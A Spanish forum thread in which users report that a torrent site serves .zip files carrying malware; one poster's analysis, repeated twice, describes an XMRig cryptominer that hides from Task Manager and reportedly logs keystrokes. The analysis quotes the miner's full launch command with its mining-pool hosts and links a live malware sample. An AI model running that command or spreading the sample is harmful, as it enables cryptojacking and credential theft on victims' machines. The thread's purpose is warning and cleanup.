CitarQue no sirven para nada dice
Lo que no sirve para nada es tu antivirus, si tienes claro
Es una página que me suele gustar para descargar películas por Torrent, y sule ofrecer en ocasiones grandes calidades (Dios bendiga el MicroHD). Pero últimamente al intentar desgargar una película, no se descarga el archivo torrent para proceder a la descarga, se me descarga un Winrar con archivos irreconocibles que no me sirven para nada. Esto me ocurre con todas las películas.
Alguien sabe que le pasa a esa página?
Pongo tema serio, no por flandear, si no por que me interesa saber que pasa.
Que no sirven para nada dice
Lo que no sirve para nada es tu antivirus, si tienes claro
He leído por ahí que te instala archivos para secuestrar tu ordenador y que mine bitcoins para OTROS. No soy 100tifico.
Nunca me he tenido problemas con mi antivirus, he descargado mil películas en esa página web. Solo que ahora, ya no descarga el archivo torrent de siempre.Iniciado por Psychotron
El mensaje está oculto porque el usuario está en tu lista de ignorados.Que no sirven para nada dice
Lo que no sirve para nada es tu antivirus, si tienes claro
Tu sabes algo?
Yo lo odio, todos los putos pop-up cada vez que pulsas un boton en la puta página, aunque tienes razón en lo del micro-hd
El tema serio bien, no?El mensaje está oculto porque el usuario está en tu lista de ignorados.
prueba PEORTORRENT
la verdad es que tiene mucha publi y mierda, tienes adblocks y cosas de esas?
Las redirecciones son salvajes en esa página web, pero en fin... IT IS FREE...El mensaje está oculto porque el usuario está en tu lista de ignorados.
No obstante a ti te ocurre lo mismo que a mi, o soy el único al que le pasa?
ahora que lo dices si... Me da miedo desbloquearlo en esa página... Sera por eso que no descarga los archivos torrent de siempre?El mensaje está oculto porque el usuario está en tu lista de ignorados.
acabo de bajarme uno e incluye un archivo vbe, se debe abrir con un programa de scripts pero no se me abre....El mensaje está oculto porque el usuario está en tu lista de ignorados.
Yo he vuelto al emule
Sí, bastante bien. Toma, te lo dejo regurgitado amigo:El mensaje está oculto porque el usuario está en tu lista de ignorados.
https://forocoches.com/foro/showthre...=mejor+torrent
para el que no tenga cuenta .....El mensaje está oculto porque el usuario está en tu lista de ignorados.
Buenas a todos.
Aviso para navegantes. Mejor torrent troyaniza tu máquina para usar tu microprocesador para minar bitcoins. Y no hablo de scripts de minado para webs que puedas bloquear con noscript o NoCoin.
Normalmente los ficheros que te bajas son nombre_película.torrent, pues bien , ahora han metido ficheros con extensión .zip ( no sé si otras, sólo he visto esta de momento ) y va con un malware que en mi caso ha sido este
https://github.com/xmrig/xmrig
Se llama xmrig y sirve para minar bitcoins.
Está relativamente bien diseñado, te ocupa el 100 % de la cpu minando ralentizando tu pc, y cuando abres el administrador de tareas ( Taskmgr.exe ) y el malware ve que esto está corriendo, libera CPU hasta dejarla en niveles normales.
Yo me dí cuenta por un contador de rendimiento que tengo externo, si no como digo te vuelves loco.
Directamente formatee , pero realicé estudios del malware antes.
Apunta contra varios DNS y se lanza de la siguiente manera, utilizando Visual Basic:
vbc.exe -o stratum+tcp://akamai.la:3335 -o stratum+tcp://a40-77-229-13.deploy.static.akamaitechnologies.pw:3335 -o stratum+tcp://obviuslyu.duckdns.org:3335 -o stratum+tcp://minecraftsvr.craftx.biz:3335 -o stratum+tcp://185.185.26.117:3335 -k --donate=1 --background --cpu-priority=0 --no-huge-pages --log-file="C:\Users\Quique\AppData\Roaming\3a9e8b5a31e1 583ec40127043fbe8cf7\miner\hash.txt" --print-time=2
También tiene funciones como las de keylogger ( hijos de perra ) así que ha podido pillar contraseñas.
Si a alguno le va mal el pc, revisad bien vuestros procesos y fijaos con especial atención en los VBC.exe , si le dais a propiedades veréis desde dónde está corriendo ( el path ) y si tiráis un poco más del hilo veréis los logs de ejecución, los dns contra los que apunta, los logs de keyloger...
He investigado un poco la web y tiene sede en Ucrania. Esto debería ser denunciable ( a los GC del foro... ).
He eliminado el malware de mi máquina, pero dejo una captura de virus total donde subo el zip, en este caso la película era Los Elegidos, pero puede ser cualquier peli con extensión .zip .
Si alguno baja este mismo fichero en https://www.virustotal.com te lo analizan cerca de 60 antivirus, estaría bien que pongáis el hash para saber cuántas muestras de malware tienen. ( si usan más de un virus) Aunque el nombre de fichero sea diferente, el hash no cambia.
¿Cómo puedes saber si estás afectado?
Se sabe que Mejor torrent está usando este tipo de malware, pero no hay que descartar otras fuentes ( emule, archivos de mega...) Para saber si estás afectado, es recomendable mirar el uso de CPU con algo externo a Microsoft, ya que cuando este tipo de malware ve que el administrador de tareas ( Taskmgr.exe ) está corriendo libera el uso de CPU para evitar ser detectado.
Hay muchos y variados, un shur ha dado esta opción ( Gracias ) , yo en su día usé otro.
Un shurmano ha subido una muestra del malware, no la he revisado porque estoy en el trabajo, pero confío que hablamos de lo mismo. Gracias @---Blaster---. Lo dejo en spoiler.
TENED EN CUENTA QUE ES UN VIRUS. Es para aquél que tenga conocimientos y quiera echar un ojo, si no ni toquéis.
[Spoiler]
http://ge.tt/5C7RRWp2
[/spoiler]
SOLUCIÓN
Por cortesía de @shur152 ( Gracias), como él bien dice y yo remarco no esta completo del todo, porque el virus modifica algunas cosas , insisto en que lo mejor es formatear, pero si alguien va con prisas y tiene que esperar al finde o a un rato libre, puede tirar de esto.
Buenas, está teniendo acogida y me estoy volviendo loco con las citas. Voy a pasar a poner aquí una solución, lo que considero la ÚNICA SOLUCIÓN.
Hay foreros que comentan que un noscript o un nocoin es suficiente y esto NO ES ASÍ. Estas extensiones de navegador sirven para evitar la ejecución de código no deseado como puede ser coinhive.min.js.
También comentan de usar PiHole, una herramienta que actúa de proxy "baneando" de tu navegación todas aquellas urls que son suceptibles de ser de anunciantes. Básicamente te capa la publicidad a nivel de red y no de aplicación ( como ABP)
El problema aquí no es un script en un navegador, es que han infectado los equipos con malware. Tu máquina está infectada, y sólo con arrancar el sistema operativo arrancará XMRIG o sucedáneos.
Hay shurs que dicen de inhabilitar el proceso, quitarlo del arranque, etc... con todos mis respetos a sus respuestas y conocimientos,creo que esto NO ES SOLUCIÓN.
Si está bien implementado ha podido lanzar mil cosas por detrás que no nos demos cuenta ( como el key logger que no tiene por qué ir en el mismo proceso ) y quitaríamos un fallo, pero tal vez siguiese ejecutándose mierda en nuestros equipos.
La única solución fiable es FORMATEAR, con Windows 10 se hace prácticamente solo, no es como el XP de hace años.
Salvad sólo fotos y documentos. Pensad que la música , las películas , el porno y todo eso que tengáis bajado de internet podréis volver a bajarlo el día de mañana.
Joder que verga. A ver si ahora estoy infectadoEl mensaje está oculto porque el usuario está en tu lista de ignorados.para el que no tenga cuenta .....
Buenas a todos.
Aviso para navegantes. Mejor torrent troyaniza tu máquina para usar tu microprocesador para minar bitcoins. Y no hablo de scripts de minado para webs que puedas bloquear con noscript o NoCoin.
Normalmente los ficheros que te bajas son nombre_película.torrent, pues bien , ahora han metido ficheros con extensión .zip ( no sé si otras, sólo he visto esta de momento ) y va con un malware que en mi caso ha sido este
https://github.com/xmrig/xmrig
Se llama xmrig y sirve para minar bitcoins.
Está relativamente bien diseñado, te ocupa el 100 % de la cpu minando ralentizando tu pc, y cuando abres el administrador de tareas ( Taskmgr.exe ) y el malware ve que esto está corriendo, libera CPU hasta dejarla en niveles normales.
Yo me dí cuenta por un contador de rendimiento que tengo externo, si no como digo te vuelves loco.
Directamente formatee , pero realicé estudios del malware antes.
Apunta contra varios DNS y se lanza de la siguiente manera, utilizando Visual Basic:
vbc.exe -o stratum+tcp://akamai.la:3335 -o stratum+tcp://a40-77-229-13.deploy.static.akamaitechnologies.pw:3335 -o stratum+tcp://obviuslyu.duckdns.org:3335 -o stratum+tcp://minecraftsvr.craftx.biz:3335 -o stratum+tcp://185.185.26.117:3335 -k --donate=1 --background --cpu-priority=0 --no-huge-pages --log-file="C:\Users\Quique\AppData\Roaming\3a9e8b5a31e1 583ec40127043fbe8cf7\miner\hash.txt" --print-time=2
También tiene funciones como las de keylogger ( hijos de perra ) así que ha podido pillar contraseñas.
Si a alguno le va mal el pc, revisad bien vuestros procesos y fijaos con especial atención en los VBC.exe , si le dais a propiedades veréis desde dónde está corriendo ( el path ) y si tiráis un poco más del hilo veréis los logs de ejecución, los dns contra los que apunta, los logs de keyloger...
He investigado un poco la web y tiene sede en Ucrania. Esto debería ser denunciable ( a los GC del foro... ).
He eliminado el malware de mi máquina, pero dejo una captura de virus total donde subo el zip, en este caso la película era Los Elegidos, pero puede ser cualquier peli con extensión .zip .
Si alguno baja este mismo fichero en https://www.virustotal.com te lo analizan cerca de 60 antivirus, estaría bien que pongáis el hash para saber cuántas muestras de malware tienen. ( si usan más de un virus) Aunque el nombre de fichero sea diferente, el hash no cambia.
¿Cómo puedes saber si estás afectado?
Se sabe que Mejor torrent está usando este tipo de malware, pero no hay que descartar otras fuentes ( emule, archivos de mega...) Para saber si estás afectado, es recomendable mirar el uso de CPU con algo externo a Microsoft, ya que cuando este tipo de malware ve que el administrador de tareas ( Taskmgr.exe ) está corriendo libera el uso de CPU para evitar ser detectado.
Hay muchos y variados, un shur ha dado esta opción ( Gracias ) , yo en su día usé otro.
Un shurmano ha subido una muestra del malware, no la he revisado porque estoy en el trabajo, pero confío que hablamos de lo mismo. Gracias @---Blaster---. Lo dejo en spoiler.
TENED EN CUENTA QUE ES UN VIRUS. Es para aquél que tenga conocimientos y quiera echar un ojo, si no ni toquéis.
[Spoiler]
http://ge.tt/5C7RRWp2
[/spoiler]
SOLUCIÓN
Por cortesía de @shur152 ( Gracias
Buenas, está teniendo acogida y me estoy volviendo loco con las citas. Voy a pasar a poner aquí una solución, lo que considero la ÚNICA SOLUCIÓN.
Hay foreros que comentan que un noscript o un nocoin es suficiente y esto NO ES ASÍ. Estas extensiones de navegador sirven para evitar la ejecución de código no deseado como puede ser coinhive.min.js.
También comentan de usar PiHole, una herramienta que actúa de proxy "baneando" de tu navegación todas aquellas urls que son suceptibles de ser de anunciantes. Básicamente te capa la publicidad a nivel de red y no de aplicación ( como ABP)
El problema aquí no es un script en un navegador, es que han infectado los equipos con malware. Tu máquina está infectada, y sólo con arrancar el sistema operativo arrancará XMRIG o sucedáneos.
Hay shurs que dicen de inhabilitar el proceso, quitarlo del arranque, etc... con todos mis respetos a sus respuestas y conocimientos,creo que esto NO ES SOLUCIÓN.
Si está bien implementado ha podido lanzar mil cosas por detrás que no nos demos cuenta ( como el key logger que no tiene por qué ir en el mismo proceso ) y quitaríamos un fallo, pero tal vez siguiese ejecutándose mierda en nuestros equipos.
La única solución fiable es FORMATEAR, con Windows 10 se hace prácticamente solo, no es como el XP de hace años.
Salvad sólo fotos y documentos. Pensad que la música , las películas , el porno y todo eso que tengáis bajado de internet podréis volver a bajarlo el día de mañana.
Que hijos de la gran puta los de mejortorrent la verdad, valla manera de suicidar la página.
me parece que tu pc tiene el sida...El mensaje está oculto porque el usuario está en tu lista de ignorados.Joder que verga. A ver si ahora estoy infectado
Que hijos de la gran puta los de mejortorrent la verdad, valla manera de suicidar la página.
Sosio, cuchame, déjate de mierdas y consigue una invi para hachede.me esa es la buena
que te mina la moral
y si no tienes dinero que pasa?
ami me pasa, pero le doy otra vez a descargar y ya se descarga el archivo torrent. El archivo winrar lo extraje una vez y le di y me metio un virus de navegador xd
El mensaje está oculto porque el usuario está en tu lista de ignorados.
Pero ya lo has resuelto?El mensaje está oculto porque el usuario está en tu lista de ignorados.
si, me costó porque ningún antivirus detectaba el virus, hasta que encontre uno que te daba un mes de su versión pro que lo eliminó, y si te refieres a los torrent, si, ami me van bienEl mensaje está oculto porque el usuario está en tu lista de ignorados.
Permisos de publicación
